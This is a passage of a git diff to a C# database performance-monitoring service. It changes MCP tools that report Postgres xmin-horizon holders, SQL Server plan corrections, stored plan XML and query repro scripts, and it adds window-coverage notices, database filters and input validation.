                     return JsonSerializer.Serialize(new
                     {
                         server = resolved.ServerName,
@@ -109,18 +112,27 @@ that never ran in this window leaves behind. The capture count is the witness. *
                     }, McpHelpers.JsonOptions);
                 }
 
-                return JsonSerializer.Serialize(new
+                /* #4966: the all-clear is an empty answer, and carries the window floor under hints. */
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_xmin_horizon", resolved.ServerName, now.AddHours(-hours_back), now, emptyAnswer: true, logger, cancellationToken);
+                return DarlingMcpWindowNotice.FinishEmpty(JsonSerializer.Serialize(new
                 {
                     server = resolved.ServerName,
                     hours_back,
                     status = "no_holder",
+                    hints = emptyNotice.AsHints(),
                     captures_in_window = capturesInWindow,
-                    finding = $"Nothing is holding back the xmin horizon in this window: the collector captured "
-                            + $"{capturesInWindow} time(s) and recorded no holder. Vacuum is free to "
+                    finding = McpHelpers.QuietUnlessCut(
+                        emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                        factual: (emptyNotice.WindowTruncated
+                                ? "Nothing is holding back the xmin horizon in the captures the store holds"
+                                : "Nothing is holding back the xmin horizon in this window")
+                            + $": the collector captured {capturesInWindow} time(s) and recorded no holder",
+                        coveredClaim: ". Vacuum is free to "
                             + "reclaim dead rows, so bloat growth has a different cause — look at whether "
                             + "autovacuum is being triggered at all (per-table thresholds and dead-tuple "
-                            + "counts) rather than at whether it is being blocked.",
-                }, McpHelpers.JsonOptions);
+                            + "counts) rather than at whether it is being blocked."),
+                }, McpHelpers.JsonOptions), emptyNotice);
             }
 
             var holders = rows.Select(r => new
@@ -152,10 +164,19 @@ horizon arm fractions over (DarlingPostgresAlertReadAdapter.XminSql). Null, neve
 
             var winner = holders.FirstOrDefault(h => h.is_currently_winning) ?? holders[0];
 
-            return JsonSerializer.Serialize(new
+            /* #4966: the latest holder per source and the window's peak and persistence figures are both read over the window, so the
+               answer names where the store's coverage of it starts. The collector stores nothing on an unheld capture, so its table is
+               sparse, but it is not run-probed: it has a schedule edge, which the table probe uses. */
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_xmin_horizon", resolved.ServerName, now.AddHours(-hours_back), now, emptyAnswer: false, logger, cancellationToken);
+            return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, right after hours_back. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 status = "holder_present",
                 /* The window's denominator: successful pg_xmin_horizon runs logged in the window, from
                    collection_log — every time the collector LOOKED, held or not. */
@@ -169,7 +190,7 @@ horizon arm fractions over (DarlingPostgresAlertReadAdapter.XminSql). Null, neve
                 winning_xmin_age = winner.xmin_age,
                 recommended_action = winner.remedy,
                 holders,
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions), notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs
index 88b23a20e1..532bd7372e 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs
@@ -12,9 +12,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -43,14 +45,35 @@ public sealed class DarlingMcpPlanCorrectionTools
 
     [McpServerTool(Name = "get_plan_corrections"), Description(
         "Gets SQL Server automatic plan correction (APC) activity: FORCE_LAST_GOOD_PLAN recommendations/actions over the window ending at as_of, newest capture first, plus each database's automatic-tuning enablement. Rows recur per capture, not per distinct recommendation. THE PAGE IS BOUNDED BY limit, NOT hours_back: truncated means more rows existed; oldest/newest_returned_collection_time bound the page. automatic_tuning ignores the window: the latest snapshot; each row's as_of says when. All timestamps are UTC. No rows and no automatic_tuning: empty (not_collected checked first). <<GUIDE>> Gets SQL Server automatic plan correction (APC) activity: the engine's FORCE_LAST_GOOD_PLAN recommendations and actions over the window, NEWEST CAPTURE FIRST, plus each database's current automatic-tuning enablement state. Use when a query's plan changed suddenly - APC forcing or unforcing a plan is a first-class explanation - or to check whether automatic tuning is on and actually working (desired vs actual state). Rows come from sys.dm_db_tuning_recommendations captured on a schedule, and the collector RE-CAPTURES every open recommendation on every cycle, so the same recommendation appears once per capture and a few open recommendations fill a page fast. THE PAGE IS BOUNDED BY limit, NOT BY hours_back: recommendations_returned is how many rows you got, truncated says the window held more than limit, and oldest_returned_collection_time / newest_returned_collection_time bound the page - under newest-first ordering the oldest stamp IS how far back this read reached, and on a server with open recommendations a week-long request at the default limit reaches back hours, not days. Raise limit or narrow hours_back when truncated is true. automatic_tuning is a latest-snapshot read that ignores the window entirely; its as_of stamps say when. A recommendation's state moves through Active/Verifying/Success/Reverted as the engine acts. query_text is a preview by default, capped at 150 characters with query_text_truncated marking whichever rows were actually cut - pass full_text=true for the whole regressed statement on every row instead, the same opt-in get_store_query_stats uses. Every timestamp here is UTC, including valid_since / last_refresh / execute_action_initiated_time / revert_action_initiated_time - sys.dm_db_tuning_recommendations reports those four in UTC and they are stored and returned unconverted - so they order correctly against collection_time and against get_query_store_regressions.")]
-    public static async Task<string> GetPlanCorrections(
+    public static Task<string> GetPlanCorrections(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum recommendation rows to return, newest capture first. Default 25. This is what bounds the page - read truncated to know whether the window held more.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
         [Description("Return each row's full query_text instead of a 150-character preview. Default false.")] bool full_text = false,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
+        => GetPlanCorrections(postgres, server_name, hours_back, limit, as_of, full_text, DatabaseFilter.One(database_name), logger, cancellationToken);
+
+    /// <summary>
+    /// #5244: the get_plan_corrections read over a LIST of databases. The MCP tool passes <c>DatabaseFilter.One(database_name)</c>
+    /// and the web dispatch passes the repeated keys. BOTH layers narrow to the chosen databases: the recommendation
+    /// rows (before the cap) and the automatic-tuning snapshot (its rows only; the newest-capture anchor stays the
+    /// server's). The one-name consumer on the empty path (its message) is list-aware: with a filter it says "for the database X"
+    /// (one name) or "for the chosen databases" (two or more) and gives no verdict about the server's collection.
+    /// </summary>
+    internal static async Task<string> GetPlanCorrections(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        int limit,
+        string? as_of,
+        bool full_text,
+        DatabaseFilter databaseFilter,
+        ILogger? logger,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -63,22 +86,36 @@ public static async Task<string> GetPlanCorrections(
         try
         {
             var now = windowEnd;
-            var tuning = await DarlingPlanCorrectionReader.GetLatestAutomaticTuningAsync(postgres, resolved.ServerId, cancellationToken);
+            var tuning = await DarlingPlanCorrectionReader.GetLatestAutomaticTuningAsync(postgres, resolved.ServerId, databaseFilter, cancellationToken);
             /* #3541 A3: the caller's limit + 1 as the fetch, the extra row as the observed truncation
                signal. The reader's LIMIT 200 over per-cycle re-captures gave every window the same ~16-hour
                reach, and `total_recommendations` published that page as the window's count. */
             var rows = await DarlingPlanCorrectionReader.GetPlanCorrectionsAsync(
-                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, cancellationToken);
+                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, databaseFilter, cancellationToken);
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
 
+            /* #4966: where the store's coverage of the window starts, in the three keys every window-floor tool writes. Rows are windowed
+               on collection_time, the probe's own column. An answer with recommendation rows over a window of 90 minutes or less needs no
+               probe; an answer without them is always probed, and that includes one the automatic-tuning snapshot alone answers: that is a
+               data answer (the snapshot is the newest capture whatever the window), so it names where the window's coverage starts. */
+            var windowStart = now.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "plan_correction", resolved.ServerName, windowStart, now, cancellationToken),
+                windowStart, now, "plan_correction", emptyAnswer: false, listOnly: rows.Count == 0,
+                logger: logger, cancellationToken: cancellationToken);
+
             if (tuning.Count == 0 && rows.Count == 0)
             {
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "plan_correction", cancellationToken)
-                    ?? McpHelpers.Status("empty",
-                        "No plan correction data collected for this server. The collector runs against SQL Server 2017+ " +
+                return McpHelpers.WithDatabase(await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "plan_correction", cancellationToken), databaseFilter.Describe())
+                    ?? McpHelpers.StatusForDatabase("empty",
+                        !databaseFilter.IsAll
+                            ? $"No plan correction data found{DarlingMcpBlockingTools.ForChosenDatabases(databaseFilter)}."
+                            : "No plan correction data collected for this server. The collector runs against SQL Server 2017+ " +
                         "(sys.dm_db_tuning_recommendations); a server that has never produced a row here either predates " +
-                        "that or has no databases with Query Store on.");
+                        "that or has no databases with Query Store on.",
+                        databaseFilter.Describe(), /* #5244 review L2: the echo rides on an empty answer too */
+                        notice.AsHints());
             }
 
             var recommendations = page.Select(r => new
@@ -106,14 +143,21 @@ signal. The reader's LIMIT 200 over per-cycle re-captures gave every window the
                 execute_action_initiated_time = r.ExecuteActionInitiatedTimeUtc?.ToString("o"),
                 revert_action_initiated_by = r.RevertActionInitiatedBy,
                 revert_action_initiated_time = r.RevertActionInitiatedTimeUtc?.ToString("o"),
-                query_text = full_text ? r.QueryText : McpHelpers.Truncate(r.QueryText, QueryTextPreviewLength),
+                query_text = full_text ? r.QueryText : McpHelpers.TruncateStatement(r.QueryText, QueryTextPreviewLength),
                 query_text_truncated = !full_text && r.QueryText != null && r.QueryText.Length > QueryTextPreviewLength,
             });
 
-            return JsonSerializer.Serialize(new
+            var payload = new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor. No effective_hours_back: this payload carries a page `truncated`, and the census holds that key
+                   apart from the window floor, so the reach is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: which databases the page is limited to: the name for one, "the chosen databases" for two or more, null for all. */
+                database_name = databaseFilter.Describe(),
                 automatic_tuning = tuning.Select(t => new
                 {
                     database_name = t.DatabaseName,
@@ -127,11 +171,14 @@ signal. The reader's LIMIT 200 over per-cycle re-captures gave every window the
                    recommendation rows and only the tuning snapshot answered. */
                 recommendations_returned = page.Count,
                 truncated,
-                oldest_returned_collection_time = page.Count == 0 ? null : page.Min(r => r.CollectionTime).ToString("o"),
-                newest_returned_collection_time = page.Count == 0 ? null : page.Max(r => r.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window it covers, so it prints like effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = page.Count == 0 ? null : McpHelpers.FormatEffectiveStart(page.Min(r => r.CollectionTime)),
+                newest_returned_collection_time = page.Count == 0 ? null : McpHelpers.FormatEffectiveStart(page.Max(r => r.CollectionTime)),
                 order = "collection_time_desc",
                 recommendations,
-            }, McpHelpers.JsonOptions);
+            };
+            var json = JsonSerializer.Serialize(payload, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs
index e6188581b7..be7f0722f4 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs
@@ -8,6 +8,9 @@
 
 using System;
 using System.ComponentModel;
+using System.Globalization;
+using System.Text.Json;
+using System.Text.Json.Serialization;
 using System.Threading;
 using System.Threading.Tasks;
 using ModelContextProtocol.Server;
@@ -66,7 +69,7 @@ public static async Task<string> AnalyzeQueryPlan(
         try
         {
             var xml = await DarlingStoredPlanReader.GetQueryStatsPlanXmlByHashAsync(
-                postgres, resolved.ServerId, query_hash, database_name, cancellationToken);
+                postgres, resolved.ServerId, query_hash, database_name, cancellationToken: cancellationToken);
             if (string.IsNullOrEmpty(xml))
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", cancellationToken)
                     ?? McpHelpers.Status(
@@ -77,7 +80,7 @@ public static async Task<string> AnalyzeQueryPlan(
             // Server Context card can see cost threshold/max memory/database. Non-fatal (null on a miss or a
             // read failure) — the analyzer then falls back to its Info branch.
             var metadata = await DarlingServerMetadataReader.ReadAsync(postgres, resolved.ServerId, database_name, cancellationToken);
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, resolved.ServerName, "query_stats", query_hash, analyzerConfig, metadata, cancellationToken);
+            return AnalyzeFilteredPlan(xml, resolved.ServerName, "query_stats", query_hash, analyzerConfig, metadata, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -107,7 +110,7 @@ public static async Task<string> AnalyzeProcedurePlan(
         try
         {
             var xml = await DarlingStoredPlanReader.GetProcedurePlanXmlBySqlHandleAsync(
-                postgres, resolved.ServerId, sql_handle, cancellationToken);
+                postgres, resolved.ServerId, sql_handle, cancellationToken: cancellationToken);
             if (string.IsNullOrEmpty(xml))
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "procedure_stats", cancellationToken)
                     ?? McpHelpers.Status(
@@ -117,7 +120,7 @@ public static async Task<string> AnalyzeProcedurePlan(
             // #4530: one store read per call so rule 38 can see the server's edition/MAXDOP. No database
             // name is available for a procedure looked up by sql_handle alone, so Database stays null (#4597).
             var metadata = await DarlingServerMetadataReader.ReadAsync(postgres, resolved.ServerId, cancellationToken: cancellationToken);
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, resolved.ServerName, "procedure_stats", sql_handle, analyzerConfig, metadata, cancellationToken);
+            return AnalyzeFilteredPlan(xml, resolved.ServerName, "procedure_stats", sql_handle, analyzerConfig, metadata, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -143,19 +146,23 @@ public static async Task<string> AnalyzeQueryStorePlan(
 
         try
         {
-            var xml = await DarlingStoredPlanReader.GetQueryStorePlanTextAsync(
-                postgres, resolved.ServerId, database_name, query_id, plan_id, cancellationToken);
+            var read = await DarlingStoredPlanReader.ResolveQueryStorePlanAsync(
+                postgres, resolved.ServerId, database_name, query_id, plan_id, cancellationToken: cancellationToken);
+            var xml = read?.PlanXml;
             if (string.IsNullOrEmpty(xml))
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken)
                     ?? McpHelpers.Status(
                         "unavailable",
                         $"No stored Query Store plan found for query_id {query_id} in database '{database_name}'{PlanSuffix(plan_id)}. The plan may not have been collected yet, the database's Query Store may be off or its capture mode may exclude this query, or the plan has been purged.");
 
-            var identifier = plan_id is null ? $"{database_name}:{query_id}" : $"{database_name}:{query_id}:{plan_id}";
+            /* #5257: the identifier always names the plan that was analysed. Without a plan_id the read picks the
+               newest plan that has content, which is not necessarily the newest plan the query ran under (a plan
+               not yet fetched is skipped), so the caller needs the plan_id to tell. */
+            var identifier = $"{database_name}:{query_id}:{read!.PlanId}";
             // #4530/#4597: one store read per call so rule 38 can see the server's edition/MAXDOP, and the
             // Server Context card can see cost threshold/max memory/database.
             var metadata = await DarlingServerMetadataReader.ReadAsync(postgres, resolved.ServerId, database_name, cancellationToken);
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, resolved.ServerName, "query_store", identifier, analyzerConfig, metadata, cancellationToken);
+            return AnalyzeFilteredPlan(xml, resolved.ServerName, "query_store", identifier, analyzerConfig, metadata, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -184,7 +191,10 @@ public static string AnalyzePlanXml(
 
         try
         {
-            return McpPlanAnalysisFormatter.BuildAnalysisResult(plan_xml, null, "xml", null, analyzerConfig, cancellationToken);
+            // #4348: the caller's XML has no stored-plan read to filter it, so AnalyzeFilteredPlan runs the statement
+            // filter before the analysis lifts parameter values and statement text out of it into fields the JSON sweep
+            // cannot pair.
+            return AnalyzeFilteredPlan(plan_xml, null, "xml", null, analyzerConfig, null, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -209,12 +219,12 @@ public static async Task<string> GetPlanXml(
         try
         {
             var xml = await DarlingStoredPlanReader.GetQueryStatsPlanXmlByHashAsync(
-                postgres, resolved.ServerId, query_hash, database_name, cancellationToken);
+                postgres, resolved.ServerId, query_hash, database_name, maxOutputChars: PlanXmlOutputChars, cancellationToken: cancellationToken);
             if (string.IsNullOrEmpty(xml))
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", cancellationToken)
                     ?? McpHelpers.Status("unavailable", $"No stored plan found for query_hash '{query_hash}'{DbSuffix(database_name)}.");
 
-            return McpHelpers.Truncate(xml, 512_000) ?? "No plan XML available.";
+            return McpHelpers.Truncate(xml, PlanXmlOutputChars) ?? "No plan XML available.";
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -222,6 +232,363 @@ public static async Task<string> GetPlanXml(
         }
     }
 
+    [McpServerTool(Name = "get_query_store_plan_xml"), Description(
+        "Returns the raw stored Query Store showplan XML for database_name + query_id (optional plan_id). Use after get_query_store_top. Truncated at 500KB.")]
+    public static async Task<string> GetQueryStorePlanXml(
+        NpgsqlDataSource postgres,
+        [Description("The database_name from get_query_store_top.")] string database_name,
+        [Description("The query_id from get_query_store_top.")] long query_id,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("Optional plan_id to pin one compiled plan. Omit for the most recently captured plan.")] long? plan_id = null,
+        CancellationToken cancellationToken = default)
+    {
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        try
+        {
+            var xml = await DarlingStoredPlanReader.GetQueryStorePlanTextAsync(
+                postgres, resolved.ServerId, database_name, query_id, plan_id, maxOutputChars: PlanXmlOutputChars, cancellationToken: cancellationToken);
+            if (string.IsNullOrEmpty(xml))
+                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken)
+                    ?? McpHelpers.Status(
+                        "unavailable",
+                        $"No stored Query Store plan found for query_id {query_id} in database '{database_name}'{PlanSuffix(plan_id)}.");
+
+            return McpHelpers.Truncate(xml, PlanXmlOutputChars) ?? "No plan XML available.";
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_query_store_plan_xml", ex);
+        }
+    }
+
+    [McpServerTool(Name = "get_procedure_plan_xml"), Description(
+        "Returns the raw stored showplan XML for a procedure identified by sql_handle. Use after get_top_procedures_by_cpu. Truncated at 500KB.")]
+    public static async Task<string> GetProcedurePlanXml(
+        NpgsqlDataSource postgres,
+        [Description("The sql_handle value from get_top_procedures_by_cpu.")] string sql_handle,
+        [Description("Server name or display name.")] string? server_name = null,
+        CancellationToken cancellationToken = default)
+    {
+        if (!IsSqlHandle(sql_handle))
+            return McpHelpers.Refusal("sql_handle", "Expected a hex sql_handle such as 0x0300..., as get_top_procedures_by_cpu returned it.");
+
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        try
+        {
+            var xml = await DarlingStoredPlanReader.GetProcedurePlanXmlBySqlHandleAsync(
+                postgres, resolved.ServerId, sql_handle, maxOutputChars: PlanXmlOutputChars, cancellationToken: cancellationToken);
+            if (string.IsNullOrEmpty(xml))
+                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "procedure_stats", cancellationToken)
+                    ?? McpHelpers.Status("unavailable", $"No stored plan found for sql_handle '{sql_handle}'.");
+
+            return McpHelpers.Truncate(xml, PlanXmlOutputChars) ?? "No plan XML available.";
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_procedure_plan_xml", ex);
+        }
+    }
+
+    /// <summary>The ISO 8601 round-trip forms get_active_queries emits: 7 fractional digits at most, with or without a
+    /// trailing Z or an offset. Anything else (a bare date, "3/4/2026") is refused, never guessed at.</summary>
+    private static readonly string[] CollectionTimeFormats =
+    {
+        "yyyy-MM-dd'T'HH:mm:ss", "yyyy-MM-dd'T'HH:mm:ss'Z'", "yyyy-MM-dd'T'HH:mm:sszzz",
+        "yyyy-MM-dd'T'HH:mm:ss.FFFFFFF", "yyyy-MM-dd'T'HH:mm:ss.FFFFFFF'Z'", "yyyy-MM-dd'T'HH:mm:ss.FFFFFFFzzz",
+    };
+
+    private static readonly System.Text.RegularExpressions.Regex SqlHandleShape =
+        new("^0x[0-9A-Fa-f]+$", System.Text.RegularExpressions.RegexOptions.CultureInvariant);
+
+    /// <summary>A sql_handle is hex with a 0x prefix. get_procedure_plan_xml refuses anything else; analyze_procedure_plan
+    /// predates this check and still takes the text as given.</summary>
+    internal static bool IsSqlHandle(string? text) => text != null && SqlHandleShape.IsMatch(text);
+
+    internal static bool TryParseCollectionTime(string? text, out DateTime utc) =>
+        DateTime.TryParseExact(text, CollectionTimeFormats, CultureInfo.InvariantCulture,
+            DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal, out utc);
+
+    [McpServerTool(Name = "get_active_query_plan_xml"), Description(
+        "Returns the raw showplan XML captured for one get_active_queries row (collection_time + session_id); live=true gives the live plan. Truncated at 500KB.")]
+    public static async Task<string> GetActiveQueryPlanXml(
+        NpgsqlDataSource postgres,
+        [Description("The row's collection_time, exactly as get_active_queries returned it.")] string collection_time,
+        [Description("The row's session_id.")] int session_id,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("The row's request_id; omit for 0.")] int request_id = 0,
+        [Description("True for the live (actual) plan; false for the estimated plan.")] bool live = false,
+        CancellationToken cancellationToken = default)
+    {
+        /* Parsed as an instant in UTC with every fractional digit kept: the store compares collection_time
+           for equality, so a value rounded to the second would match nothing. */
+        if (!TryParseCollectionTime(collection_time, out var collectionTimeUtc))
+            return McpHelpers.Refusal("collection_time", "Expected the collection_time exactly as get_active_queries returned it (ISO 8601, UTC).");
+
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        try
+        {
+            var xml = await DarlingStoredPlanReader.GetQuerySnapshotPlanXmlAsync(
+                postgres, resolved.ServerId, collectionTimeUtc, session_id, request_id, live, maxOutputChars: PlanXmlOutputChars, cancellationToken: cancellationToken);
+            if (string.IsNullOrEmpty(xml))
+                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_snapshots", cancellationToken)
+                    ?? McpHelpers.Status(
+                        "unavailable",
+                        $"No stored {(live ? "live " : "")}plan found for session_id {session_id} (request_id {request_id}) at collection_time '{collection_time}'.");
+
+            return McpHelpers.Truncate(xml, PlanXmlOutputChars) ?? "No plan XML available.";
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_active_query_plan_xml", ex);
+        }
+    }
+
+    /// <summary>
+    /// Where the <c>get_*_plan_xml</c> tools cut a plan for transport (500 KB of characters, the "Truncated at 500KB" in their
+    /// descriptions). #4348: the same number goes to the stored-plan read, so the statement filter stops walking a very large plan
+    /// once nothing before the cut can change, and <see cref="McpHelpers.Truncate"/> then cuts the filtered plan on a text element
+    /// and appends its marker as it always has.
+    /// </summary>
+    private const int PlanXmlOutputChars = 512_000;
+
+    /// <summary>
+    /// #4348: said when the statement filter withheld a plan whole, so the analysis is skipped instead of reading the
+    /// placeholder as XML and reporting a parse error. Worded once for the four analysis tools.
+    /// </summary>
+    internal const string WithheldPlanMessage = "This plan was withheld by the statement filter (#4348), so it was not analysed.";
+
+    /// <summary>
+    /// #4348: the one way every plan-analysis tool here turns plan XML into its result. The statement filter runs on
+    /// the XML first, because the analysis lifts parameter values and statement text out of it into fields the JSON
+    /// sweep cannot pair with their statement. A plan the filter withholds whole is answered with
+    /// <see cref="WithheldPlanMessage"/>. Kept out of <c>McpPlanAnalysisFormatter.BuildAnalysisResult</c>, which the
+    /// desktop Dashboard also calls.
+    /// </summary>
+    internal static string AnalyzeFilteredPlan(
+        string xml,
+        string? serverName,
+        string source,
+        string? identifier,
+        AnalyzerConfig? analyzerConfig,
+        ServerMetadata? metadata,
+        CancellationToken cancellationToken)
+    {
+        xml = SensitiveStatements.Xml(xml) ?? SensitiveStatements.PlaceholderText;
+        if (xml == SensitiveStatements.PlaceholderText)
+            return McpHelpers.Status("unavailable", WithheldPlanMessage);
+        return McpPlanAnalysisFormatter.BuildAnalysisResult(xml, serverName, source, identifier, analyzerConfig, metadata, cancellationToken);
+    }
+
+    private static readonly JsonSerializerOptions ReproJson = new() { DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull };
+
+    [McpServerTool(Name = "get_query_repro_script"), Description(
+        "Builds a paste-ready T-SQL repro script from a stored query's text and plan. kind: query_hash, query_store or active_snapshot, with that kind's key. Store-only.")]
+    public static async Task<string> GetQueryReproScript(
+        NpgsqlDataSource postgres,
+        [Description("query_hash, query_store or active_snapshot.")] string kind,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("The row's database_name (required for query_store).")] string? database_name = null,
+        [Description("The row's query_hash (kind query_hash).")] string? query_hash = null,
+        [Description("The row's query_id (kind query_store).")] long? query_id = null,
+        [Description("The row's plan_id (kind query_store); omit for the newest plan.")] long? plan_id = null,
+        [Description("The row's collection_time (kind active_snapshot).")] string? collection_time = null,
+        [Description("The row's session_id (kind active_snapshot).")] int? session_id = null,
+        [Description("The row's request_id (kind active_snapshot); omit for 0.")] int request_id = 0,
+        CancellationToken cancellationToken = default)
+    {
+        /* Every refusal comes before the store is touched. */
+        DateTime snapshotTime = default;
+        switch (kind)
+        {
+            case DarlingReproScript.KindQueryHash:
+                if (string.IsNullOrEmpty(query_hash)) return McpHelpers.Refusal("query_hash", "kind query_hash needs the row's query_hash.");
+                break;
+            case DarlingReproScript.KindQueryStore:
+                if (string.IsNullOrEmpty(database_name)) return McpHelpers.Refusal("database_name", "kind query_store needs the row's database_name.");
+                if (query_id is null) return McpHelpers.Refusal("query_id", "kind query_store needs the row's query_id.");
+                break;
+            case DarlingReproScript.KindActiveSnapshot:
+                if (string.IsNullOrEmpty(collection_time)) return McpHelpers.Refusal("collection_time", "kind active_snapshot needs the row's collection_time.");
+                if (session_id is null) return McpHelpers.Refusal("session_id", "kind active_snapshot needs the row's session_id.");
+                if (!TryParseCollectionTime(collection_time, out snapshotTime))
+                    return McpHelpers.Refusal("collection_time", "Expected the collection_time exactly as get_active_queries returned it (ISO 8601, UTC).");
+                break;
+            case "procedure":
+                return McpHelpers.Refusal("kind", "No query text is kept for a procedure, so there is no repro script. Use kind query_hash, query_store or active_snapshot.");
+            default:
+                return McpHelpers.Refusal("kind", "Expected query_hash, query_store or active_snapshot.");
+        }
+
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        try
+        {
+            string? text, db, planXml, isolation = null;
+            switch (kind)
+            {
+                case DarlingReproScript.KindQueryHash:
+                    db = database_name;
+                    text = await DarlingReproScript.ReadQueryStatsTextAsync(postgres, resolved.ServerId, query_hash!, database_name, cancellationToken);
+                    planXml = text == null ? null : await DarlingStoredPlanReader.GetQueryStatsPlanXmlByHashAsync(
+                        postgres, resolved.ServerId, query_hash!, database_name, cancellationToken: cancellationToken);
+                    break;
+                case DarlingReproScript.KindQueryStore:
+                    db = database_name;
+                    text = await DarlingReproScript.ReadQueryStoreTextAsync(postgres, resolved.ServerId, database_name!, query_id!.Value, cancellationToken);
+                    planXml = text == null ? null : await DarlingStoredPlanReader.GetQueryStorePlanTextAsync(
+                        postgres, resolved.ServerId, database_name!, query_id.Value, plan_id, cancellationToken: cancellationToken);
+                    break;
+                default:
+                    (text, isolation, db) = await DarlingReproScript.ReadSnapshotTextAsync(
+                        postgres, resolved.ServerId, snapshotTime, session_id!.Value, request_id, cancellationToken);
+                    planXml = text == null ? null : await DarlingStoredPlanReader.GetQuerySnapshotPlanXmlAsync(
+                        postgres, resolved.ServerId, snapshotTime, session_id.Value, request_id, live: false, cancellationToken: cancellationToken);
+                    break;
+            }
+
+            var script = DarlingReproScript.Build(kind, text, db, planXml, isolation);
+            if (script == null)
+            {
+                /* #5233: each kind names its own collector as a literal, so the capability wiring guard (and a
+                   reader) can see which collector's miss each answer reports; a variable here read as an unknown
+                   name, which answers "supported" and restores the generic message. */
+                var notCollected = kind switch
+                {
